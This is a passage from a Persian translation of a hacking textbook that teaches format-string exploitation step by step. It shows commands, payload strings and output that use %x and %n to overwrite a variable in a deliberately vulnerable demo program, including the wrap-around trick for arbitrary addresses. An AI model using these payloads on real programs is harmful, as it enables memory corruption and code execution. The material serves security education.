‫ﻣﻘﺼﺪ )ﯾﻌﻨﯽ ‪ 4‬ﺑﺎﯾﺖ ﻣﺮﺑﻮط ﺑﻪ ‪ (junk‬و ﺳﭙﺲ ﺣﺎوی آدرس ﺣﺎﻓﻈﻪ ﻣﻘﺼﺪ ﺑﻌﻼوه ﯾﮏ ﺑﺎﺷﺪ‪ .‬اﻣـﺎ ﺗﻤـﺎم اﯾـﻦ ﺑﺎﯾـﺖ ﻫـﺎی‬
‫ﺣﺎﻓﻈﻪ ﺑﻮﺳﯿﻠﻪ ﺗﺎﺑﻊ ﻓﺮﻣﺖ در ﺧﺮوﺟﯽ ﻧﯿﺰ ﭼﺎپ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا ﺷﻤﺎرﺷـﮕﺮ ﺑﺎﯾـﺖ ﮐـﻪ ﺗﻮﺳـﻂ ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ %n‬ﻣـﻮرد‬
‫اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮد ﻧﯿﺰ اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ‪.‬‬
‫اﺣﺘﻤﺎﻻ ﺑﺎﯾﺪ ﻗﺪری ﺑﯿﺸﺘﺮ ﺑﻪ اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﻓﮑﺮ ﺷﻮد‪ .‬ﻫﺪف ﻧﻬﺎﯾﯽ‪ ،‬اﻧﺠﺎم ‪ 4‬ﻋﻤﻞ ﻧﻮﺷﺘﻦ اﺳﺖ‪ .‬ﺑﺎﯾـﺪ ﺑـﻪ ﻫـﺮ ﻋﻤـﻞ‬
‫ﻧﻮﺷﺘﻦ ﯾﮏ آدرس ﺣﺎﻓﻈﻪ ﻣﻨﺘﻘﻞ ﺷﻮد و ﺑﯿﻦ ﻫﻤﻪ آﻧﻬﺎ ﻧﯿﺰﭼﻬﺎر ﺑﺎﯾﺖ ‪ junk‬ﻧﯿﺎز اﺳﺖ ﺗﺎ ﺗﻮان ﺷﻤﺎرﺷﮕﺮ ﺑﺎﯾـﺖ را ﺑـﺮای‬
‫ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ‪ %n‬ﺑﻪ درﺳﺘﯽ اﻓﺰاﯾﺶ داد‪ .‬اوﻟﯿﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %x‬ﻣـﯽ ﺗﻮاﻧـﺪ از ﭼﻬـﺎر ﺑﺎﯾـﺖ ﻣﻮﺟـﻮد در ﻗﺒـﻞ از‬
‫رﺷﺘﻪ ﻓﺮﻣﺖ اﺳﺘﻔﺎده ﮐﻨﺪ‪ ،‬اﻣﺎ ﺑﻪ ﺳﻪ ﭘﺎراﻣﺘﺮ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺎﯾﺪ داده اراﺋﻪ ﮐﻨﯿﻢ‪ .‬ﻟﺬا در اﯾﻦ روﯾﻪ ‪ 4‬ﻣﺮﺣﻠﻪ ای ﻧﻮﺷﺘﻦ‪ ،‬اﺑﺘﺪای‬
‫رﺷﺘﻪ ﻓﺮﻣﺖ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬

‫‪57‬‬
‫اﮐﻨﻮن ﯾﮏ ﺑﺎر اﻣﺘﺤﺎن ﮐﻨﯿﻢ‪:‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff580.3e8.3e8‬‬
‫‪[*] test_val @ 0x08049570 = 44 0x0000002c‬‬
‫‪$ pcalc 44 - 3‬‬
‫‪41‬‬ ‫‪0x29‬‬ ‫‪0y101001‬‬
‫‪$ pcalc 0xaa - 41‬‬
‫‪129‬‬ ‫‪0x81‬‬ ‫‪0y10000001‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%129x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%129x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff580.3e8.‬‬

‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = 170 0x000000aa‬‬
‫‪$‬‬
‫آدرس ﻫﺎ و داده ‪ junk‬در اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ‪ ،‬ﻣﻘﺪار ﻣﻨﺎﺳﺐ و ﻻزم ﺑـﺮای ﻃـﻮل ﻣﯿـﺪان ﺑـﺮای ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ %x‬را‬
‫ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﻨﺪ‪ .‬اﻣﺎ ﻣﯽ ﺗﻮان ﺑﺎ ﻫﻤﺎن روش ﻗﺒﻠﯽ اﯾﻦ ﻣﻘﺪار را ﻣﺠﺪدا ﻣﺤﺎﺳﺒﻪ ﮐﺮد‪ .‬روش دﯾﮕـﺮ ﺑـﺮای اﻧﺠـﺎم اﯾـﻦ ﮐـﺎر‬
‫ﮐﺎﺳﺘﻦ ‪ 24‬ﺑﺎﯾﺖ از ﻣﻘﺪار ‪ 153‬ﺑﺎﯾﺘﯽ ﻣﺮﺑﻮط ﺑﻪ ﻃﻮل ﻣﯿﺪان ﻗﺒﻠﯽ اﺳﺖ‪ ،‬ﭼﺮا ﮐﻪ ﺷﺶ ﮐﻠﻤـﻪ ‪ 4‬ﺑـﺎﯾﺘﯽ ﺟﺪﯾـﺪ ﺑـﻪ اﺑﺘـﺪای‬
‫رﺷﺘﻪ ﻓﺮﻣﺖ اﺿﺎﻓﻪ ﺷﺪه اﻧﺪ‪.‬‬
‫اﮐﻨﻮن ﮐﻪ ﺣﺎﻓﻈﻪ ﻣﺮﺑﻮﻃﻪ در اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺗﻨﻈﯿﻢ ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا دوﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺳﺎده ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ‪.‬‬
‫‪$ pcalc 0xbb - 0xaa‬‬
‫‪17‬‬ ‫‪0x11‬‬ ‫‪0y10001‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%129x%n%17x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%129x%n%17x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff580.3e8.‬‬

‫‪3e8‬‬ ‫‪4b4e554a‬‬
‫‪[*] test_val @ 0x08049570 = 48042 0x0000bbaa‬‬
‫‪$‬‬
‫ﻣﻘﺪار ﻣﻮرد ﻧﻈﺮ ﺑﻌﺪی ﺑﺮای ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ‪ ،‬ﻣﻘﺪار ‪ 0xBB‬اﺳﺖ‪ .‬ﯾﮏ ﻣﺎﺷﯿﻦ ﺣﺴﺎب ﻣﺒﻨﺎی ‪ 16‬ﻧﺸﺎن ﻣـﯽ دﻫـﺪ‬
‫ﮐﻪ ﻗﺒﻞ از ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺑﻌﺪی ‪ ،%n‬ﺑﺎﯾﺪ ‪ 17‬ﺑﺎﯾﺖِ اﺿﺎﻓﯽ ﻗﺮار ﮔﯿﺮد‪ .‬ﭼﻮن ﻗﺒﻼ ﺑـﺮای ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ ،%x‬ﺣﺎﻓﻈـﻪ ی‬
‫ﻻزم ﺗﻨﻈﯿﻢ ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا ﻧﻮﺷﺘﻦ ‪ 17‬ﺑﺎﯾﺖ اﺿﺎﻓﯽ ﺑﺎ اﺳﺘﻔﺎده از ﻃﻮل ﻣﯿﺪان ﺑﻪ راﺣﺘﯽ اﻧﺠﺎم ﻣﯽ ﭘﺬﯾﺮد‪.‬‬
‫اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ ﺗﻮان ﺑﺮای ﺳﻮﻣﯿﻦ و ﭼﻬﺎرﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﻧﯿﺰ ﺗﮑﺮار ﮐﺮد‪.‬‬
‫‪$ pcalc 0xcc - 0xbb‬‬
‫‪17‬‬ ‫‪0x11‬‬ ‫‪0y10001‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%129x%n%17x%n%17x%n‬‬
‫‪The right way:‬‬
‫‪58‬‬
‫‪JUNKJUNKJUNK%x.%x.%129x%n%17x%n%17x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff570.3e8.‬‬

‫‪3e8‬‬ ‫‪4b4e554a‬‬ ‫‪4b4e554a‬‬


‫‪[*] test_val @ 0x08049570 = 13417386 0x00ccbbaa‬‬
‫‪$ pcalc 0xdd - 0xcc‬‬
‫‪17‬‬ ‫‪0x11‬‬ ‫‪0y10001‬‬
‫‪$ ./fmt_vuln 'printf‬‬
‫‪"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%129x%n%17x%n%17x%n%17x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%129x%n%17x%n%17x%n%17x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff570.3e8.‬‬

‫‪3e8‬‬ ‫‪4b4e554a‬‬ ‫‪4b4e554a‬‬ ‫‪4b4e554a‬‬


‫‪[*] test_val @ 0x08049570 = -573785174 0xddccbbaa‬‬
‫‪$‬‬
‫ﺑﺎ ﮐﻨﺘﺮل ﮐﺮدن ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ و اﻧﺠﺎم ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ‪ ،‬ﯾﮏ آدرس ﮐﺎﻣﻞ را ﻣﯽ ﺗـﻮان در ﻫـﺮ آدرس ﺣﺎﻓﻈـﻪ‬
‫ﻧﻮﺷﺖ‪ .‬ﺑﺎﯾﺪ ﺑﻪ ﺧﺎﻃﺮ داﺷﺖ ﮐﻪ ﺳﻪ ﺑﺎﯾﺖ ﻣﺠﻮد ﺑﻌﺪ از آدرس ﻫﺪف ﻧﯿﺰ ﺑﺎ اﯾﻦ ﺗﮑﻨﯿﮏ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ‬
‫را ﻣﯽ ﺗﻮان ﺑﺎ اﻋﻼن ﯾﮏ ﻣﺘﻐﯿﺮ اﯾﺴﺘﺎ و ﺑﺎ ﻣﻘﺪار اوﻟﯿﻪ ﺑﻪ ﻧﺎم ‪) next_val‬دﻗﯿﻘﺎ ﺑﻌﺪ از ‪ (text_val‬و ﻫﻤﭽﻨﯿﻦ ﻧﻤﺎﯾﺶ اﯾـﻦ‬
‫ﻣﻘﺪار در ﺧﺮوﺟﯽ اﺷﮑﺎل زداﯾﯽ ﺳﺮﯾﻌﺎ ﺑﺮرﺳﯽ ﮐﺮد‪ .‬ﻣﯽ ﺗﻮان ﺗﻐﯿﯿﺮات را ﺑﺎ ﯾﮏ وﯾﺮاﯾﺸﮕﺮ ﯾﺎ اﻧﺪﮐﯽ ﮐﺎر ﺑﺎ ‪ SED‬اﻧﺠﺎم‬
‫داد‪.‬‬
‫در اﯾﻨﺠﺎ ﻣﺘﻐﯿﺮ ‪ next_val‬ﺑﺎ ﻣﻘﺪار ‪ ،0x11111111‬ﻣﻘﺪار دﻫﯽ اوﻟﯿﻪ ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا ﺗﺎﺛﯿﺮ ﻋﻤﻠﯿﺎت ﻧﻮﺷﺘﻦ ﺑـﺮ روی آن‬
‫آﺷﮑﺎر ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫'}‪$ sed -e 's/72;/72, next_val = 0x11111111;/;/@/{h;s/test/next/g;x;G‬‬
‫> ‪fmt_vuln.c‬‬
‫‪fmt_vuln2.c‬‬
‫‪$ diff fmt_vuln.c fmt_vuln2.c‬‬
‫‪6c6‬‬
‫`‬ ‫;‪static int test_val = -72‬‬
‫‪---‬‬
‫>‬ ‫;‪static int test_val = -72, next_val = 0x11111111‬‬
‫‪27a28‬‬
‫>‬ ‫‪printf("[*] next_val @ 0x%08x = %d 0x%08x\n", &next_val, next_val,‬‬
‫;)‪next_val‬‬
‫‪$ gcc -o fmt_vuln2 fmt_vuln2.c‬‬
‫‪$ ./fmt_vuln2 test‬‬
‫‪The right way:‬‬
‫‪test‬‬
‫‪The wrong way:‬‬
‫‪test‬‬
‫‪[*] test_val @ 0x080495d0 = -72 0xffffffb8‬‬
‫‪[*] next_val @ 0x080495d4 = 286331153 0x11111111‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ در ﺧﺮوﺟﯽ ﺑﺎﻻ ﻣﺸﻬﻮد اﺳﺖ‪ ،‬ﺗﻐﯿﯿﺮ در ﮐﺪ ﺳﺒﺐ ﺗﻐﯿﯿﺮ آدرس ﻣﺘﻐﯿﺮ ‪ test_val‬ﻧﯿﺰ ﺷـﺪه اﺳـﺖ‪ .‬در ﻫـﺮ‬
‫ﺣﺎل ﻣﺸﻬﻮد اﺳﺖ ﮐﻪ در ﺣﺎﻓﻈﻪ‪ ،‬ﻣﺘﻐﯿﺮ ‪ next_val‬ﻣﺠـﺎور ﺑـﻪ ﻣﺘﻐﯿـﺮ ‪ test_val‬اﺳـﺖ‪ .‬ﻧﻮﺷـﺘﻦ ﻣﺠـﺪد ﯾـﮏ آدرس ﺑـﺎ‬
‫اﺳﺘﻔﺎده از آدرس ﺟﺪﯾﺪ در ﻣﺘﻐﯿﺮ ‪ test_val‬ﺗﻤﺮﯾﻦ ﺧﻮﺑﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ‪.‬‬
‫آﺧﺮﯾﻦ ﺑﺎر‪ ،‬ﯾﮏ آدرس ﺳﺎده ﯾﻌﻨﯽ ‪ 0xddccbbaa‬ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﮔﺮﻓﺖ‪ .‬ﭼﻮن ﻫـﺮ ﺑﺎﯾـﺖ از ﺑﺎﯾـﺖ ﻗﺒﻠـﯽ ﺑﺰرﮔﺘـﺮ‬
‫اﺳﺖ‪ ،‬ﻟﺬا اﻓﺰاﯾﺶ ﺷﻤﺎرﺷﮕﺮ ﺑﺎﯾﺖ ﺑﺮای ﻫﺮ ﺑﺎﯾﺖ ﮐﺎر ﺳﺎده ای اﺳﺖ‪ .‬اﻣﺎ اﮔﺮ آدرﺳﯽ ﻣﺜﻞ ‪ 0x0806abcd‬اﺳﺘﻔﺎده ﺷﻮد‬
‫ﭼﻪ ﺑﺎﯾﺪ ﮐﺮد؟ ﺑﺎ اﯾﻦ آدرس‪ ،‬ﺑﻪ ﻣﻨﻈﻮر ﻧﻮﺷﺘﻦ اوﻟﯿﻦ ﺑﺎﯾﺖ )‪ (0xCD‬ﺑﺎ اﺳﺘﻔﺎده از ﭘﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ ،%n‬اﺑﺘـﺪا ﺑﺎﯾـﺪ ‪205‬‬
‫ﺑﺎﯾﺖ ﺑﻪ ﺧﺮوﺟﯽ ارﺳﺎل ﺷﻮد‪ .‬اﻣﺎ آﻧﮕﺎه ﺑﺮای ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ ﺑﻌﺪی )‪ (0xAB‬ﺑﺎﯾﺪ ‪ 171‬ﺑﺎﯾﺖ ﺑﻪ ﺧﺮوﺟﯽ ارﺳﺎل ﺷﻮد‪ .‬اﯾـﻦ‬
‫ﻣﺴﺌﻠﻪ در ﺣﺎﻟﯿﺴﺖ ﮐﻪ اﻓﺰاﯾﺶ ﺷﻤﺎرﺷﮕﺮ ﺑﺎﯾﺖ ﺑﺮای ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬ﺳﺎده اﺳﺖ‪ ،‬اﻣﺎ ﮐـﺎﻫﺶ آن ﻏﯿـﺮﻣﻤﮑﻦ اﺳـﺖ‪.‬‬

‫‪59‬‬
‫ ﺣﺎﺻـﻞ ﺷـﻮد ﮐـﻪ ﻣﻌـﺎدل‬427 ‫ را ﺑـﻪ آن اﺿـﺎﻓﻪ ﮐـﺮد ﺗـﺎ ﻋـﺪد‬222 ‫ ﻣﯽ ﺗﻮان ﻣﻘﺪار‬205 ‫ از‬34 ‫ﻟﺬا ﺑﻪ ﺟﺎی ﮐﻢ ﮐﺮدن‬
0x1AB ‫( را در ﻗﺎﻟـﺐ‬0xAB) ‫ ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾـﺖ‬.‫ ﺧﻮاﻫﺪ ﺑﻮد‬0x1AB ،‫ﻫﮕﺰادﺳﯿﻤﺎل آن‬
(wrap around)‫ از اﯾـﻦ ﺗﮑﻨﯿـﮏ ﭼـﺮﺧﺶ ﭘﻮﺷـﺸﯽ‬،‫ ﻣﺠﺪدا ﻣﯽ ﺗﻮان در ﺳﻮﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‬.‫ﭼﺮﺧﺸﺶ ﭘﻮﺷﺸﯽ داد‬
.‫ اﺳﺘﻔﺎده ﮐﺮد‬0x06‫ﺑﺮای ﺗﻨﻈﯿﻢ ﮐﺮدن ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ﺑﻪ ﻣﻘﺪار‬
$ ./fmt_vuln2 AAAA%x.%x.%x.%x
The right way:
AAAA%x.%x.%x.%x
The wrong way:
AAAAbffff5a0.3e8.3e8.41414141
[*] test_val @ 0x080495d0 = -72 0xffffffb8
[*] next_val @ 0x080495d4 = 286331153 0x11111111
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%x.%n
The right way:
JUNKJUNKJUNK%x.%x.%x.%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.3e8.
[*] test_val @ 0x080495d0 = 45 0x0000002d
[*] next_val @ 0x080495d4 = 286331153 0x11111111
$ pcalc 45 - 3
42 0x2a 0y101010
$ pcalc 0xcd - 42
163 0xa3 0y10100011
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%163x.%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.

3e8.
[*] test_val @ 0x080495d0 = 205 0x000000cd
[*] next_val @ 0x080495d4 = 286331153 0x11111111
$
$ pcalc 0xab - 0xcd
-34 0xffffffde 0y11111111111111111111111111011110
$ pcalc 0x1ab - 0xcd
222 0xde 0y11011110
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%163x.%n%222x%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n%222x%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.

3e8.

4b4e554a
[*] test_val @ 0x080495d0 = 109517 0x0001abcd
[*] next_val @ 0x080495d4 = 286331136 0x11111100
$
$ pcalc 0x06 - 0xab
-165 0xffffff5b 0y11111111111111111111111101011011
$ pcalc 0x106 - 0xab
91 0x5b 0y1011011
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
60
‫‪x.%163x.%n%222x%n%91x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%163x.%n%222x%n%91x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff570.3e8.‬‬

‫‪3e8.‬‬

‫‪4b4e554a‬‬

‫‪4b4e554a‬‬
‫‪[*] test_val @ 0x080495d0 = 33991629 0x0206abcd‬‬
‫‪[*] next_val @ 0x080495d4 = 286326784 0x11110000‬‬
‫‪$‬‬
‫ﺑﺎ ﻫﺮ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ ﻫﺎی ﻣﺘﻐﯿﺮ ‪ next_val‬ﮐﻪ ﻣﺠﺎور ﻣﺘﻐﯿﺮ ‪ test_val‬ﻫﺴﺘﻨﺪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮔﺮدﻧـﺪ‪ .‬ﺑـﻪ ﻧﻈـﺮ ﻣـﯽ‬
‫رﺳﺪ ﮐﻪ ﺗﮑﻨﯿﮏ ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ ﮐﺎرﮐﺮد ﺧﻮﺑﯽ در اﯾﻦ ﻣﻮاﻗـﻊ دارد‪ ،‬اﻣـﺎ ﺑﻬﻨﮕـﺎم ﻧﻮﺷـﺘﻦ آﺧـﺮﯾﻦ ﺑﺎﯾـﺖ ﯾـﮏ ﻣـﺸﮑﻞ‬
‫ﮐﻮﭼﮏ رخ ﻣﯽ ﻧﻤﺎﯾﺎﻧﺪ‪.‬‬
‫‪$ pcalc 0x08 - 0x06‬‬
‫‪2‬‬ ‫‪0x2‬‬ ‫‪0y10‬‬
‫‪$ ./fmt_vuln2 'printf‬‬
‫‪"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%163x.%n%222x%n%91x%n%2x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%163x.%n%222x%n%91x%n%2x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff570.3e0.‬‬

‫‪3e8.‬‬

‫‪4b4e554a‬‬
‫‪4b4e554a4b4e554a‬‬
‫‪[*] test_val @ 0x080495d0 = 235318221 0x0e06abcd‬‬
‫‪[*] next_val @ 0x080495d4 = 285212674 0x11000002‬‬
‫‪$‬‬
‫ﭼﻪ اﺗﻔﺎﻗﯽ اﻓﺘﺎد؟ ﻓﺎﺻﻠﻪ ﺑﯿﻦ ‪ 0x06‬و ‪ 0x08‬ﺗﻨﻬﺎ ‪ 2‬ﺑﺎﯾﺖ اﺳﺖ‪ ،‬اﻣﺎ ‪ 8‬ﺑﺎﯾﺖ در ﺧﺮوﺟﯽ ﻗـﺮار ﮔﺮﻓـﺖ ﮐـﻪ در ﻧﺘﯿﺠـﻪ آن‪،‬‬
‫ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬ﻧﺘﯿﺠﻪ ﺧﻮد را در ﺑﺎﯾﺖ ‪ 0x0e‬ﻣﯽ ﻧﻮﯾﺴﺪ‪ .‬دﻟﯿﻞ اﯾﻦ ﻣﺴﺌﻠﻪ اﯾﻦ اﺳﺖ ﮐﻪ ﻃـﻮل ﻣﯿـﺪان ﺑـﺮای ﭘـﺎراﻣﺘﺮ‬
‫ﻗﺎﻟﺐ ‪ ،%x‬ﻓﻘﻂ ﻧﺸﺎن دﻫﻨﺪه ﻃﻮل ﻣﯿﺪان ﮐﻤﯿﻨﻪ اﺳﺖ‪ ،‬درﺣﺎﻟﯿﮑﻪ ‪ 8‬ﺑﺎﯾﺖ ﺑﺎﯾـﺪ در ﺧﺮوﺟـﯽ ﻧﻮﺷـﺘﻪ ﻣـﯽ ﺷـﺪه اﻧـﺪ‪ .‬اﯾـﻦ‬
‫ﻣﺸﮑﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ دﯾﮕﺮ ﺗﻌﺪﯾﻞ ﮐﺮد؛ ﺑﺎ اﯾﻦ ﺣﺎل داﻧﺴﺘﻦ ﻣﺤﺪودﯾﺖ ﻫﺎی ﮔﺰﯾﻨـﻪ ﻃـﻮل ﻣﯿـﺪان‬
‫ﺧﻮب اﺳﺖ‪.‬‬
‫‪$ pcalc 0x108 - 0x06‬‬
‫‪258‬‬ ‫‪0x102‬‬ ‫‪0y100000010‬‬
‫‪$ ./fmt_vuln2 'printf‬‬
‫‪"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x‬‬
‫‪08"'%x.%‬‬
‫‪x.%163x.%n%222x%n%91x%n%258x%n‬‬
‫‪The right way:‬‬
‫‪JUNKJUNKJUNK%x.%x.%163x.%n%222x%n%91x%n%258x%n‬‬
‫‪The wrong way:‬‬
‫‪JUNKJUNKJUNKbffff570.3e8.‬‬

‫‪3e8.‬‬

‫‪4b4e554a‬‬
‫‪4b4e554a‬‬

‫‪4b4e554a‬‬
‫‪[*] test_val @ 0x080495d0 = 134654925 0x0806abcd‬‬
‫‪[*] next_val @ 0x080495d4 = 285212675 0x11000003‬‬
‫‪$‬‬

‫‪61‬‬
‫درﺳﺖ ﻫﻤﺎﻧﻨﺪ ﻗﺒﻞ‪ ،‬آدرس ﻫﺎی ﻣﺮﺑﻮﻃﻪ و داده ‪ junk‬در اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﻗﺮار داده ﺷﺪه و ﮐﻢ ارزش ﺗـﺮﯾﻦ ﺑﺎﯾـﺖ‬
‫در ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﻧﯿﺰ ﺗﺤﺖ ﮐﻨﺘﺮل اﺳﺖ ﺗﺎ ﺑﺘﻮاﻧﯿﻢ ﻫﺮ ‪ 4‬ﺑﺎﯾﺖ ﻣﺮﺑﻮط ﺑﻪ ﻣﺘﻐﯿﺮ ‪ test_val‬را ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﯿﻢ‪ .‬ﺟﻬﺖ‬
‫ﮐﺎﻫﺶ ﻣﻘﺪار از ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ‪ ،‬ﻣﯽ ﺗﻮان از ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ ﺑﺮ روی آن ﺑﺎﯾﺖ اﺳﺘﻔﺎده ﮐﺮد‪ ،‬ﻫﻤﭽﻨﯿﻦ ﻫﺮ ﮔﻮﻧـﻪ‬
‫اﻓﺰاﯾﺶ ﻣﻘﺪار ﺑﯿﺸﺘﺮ از ‪ 8‬واﺣﺪ ﻧﯿﺰ ﻣﺠﺪدا از ﻫﻤﺎن ﺗﮑﻨﯿﮏ ﺑﻪ ﻃﺮﯾﻖ ﻣﺸﺎﺑﻬﯽ ﺑﻬﺮه ﻣﯽ ﺑﺮد‪.‬‬

‫‪ .2,9,5‬دﺳﺘﺮﺳﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ‬

‫دﺳﺘﺮﺳﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ روﺷﯽ در راﺳﺘﺎی ﺳﺎده ﺗﺮ ﮐﺮدن اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷﺘﻪ‪-‬ﻓﺮﻣـﺖ اﺳـﺖ‪ .‬در اﮐـﺴﭙﻠﻮﯾﺖ ﻫـﺎی‬
‫ﻗﺒﻠﯽ‪ ،‬ﻣﯽ ﺑﺎﯾﺴﺖ ﺑﻪ ﻃﻮر ﻣﺘﻮاﻟﯽ در ﻫﺮ ﯾﮏ از آرﮔﻮﻣﺎﻧﻬﺎی ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺣﺮﮐﺖ ﻣﯽ ﺷﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﻬﻨﮕﺎم اﺳﺘﻔﺎده از‬
‫ﭼﻨﺪﯾﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %x‬اﺟﺒﺎری ﺑﻮد ﮐﻪ ﺑﺘﻮان ﺗﺎ زﻣﺎن دﺳﺘﺮﺳﯽ ﺑﻪ اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ در آرﮔﻮﻣﺎن ﻫـﺎی ﭘـﺎراﻣﺘﺮی‬
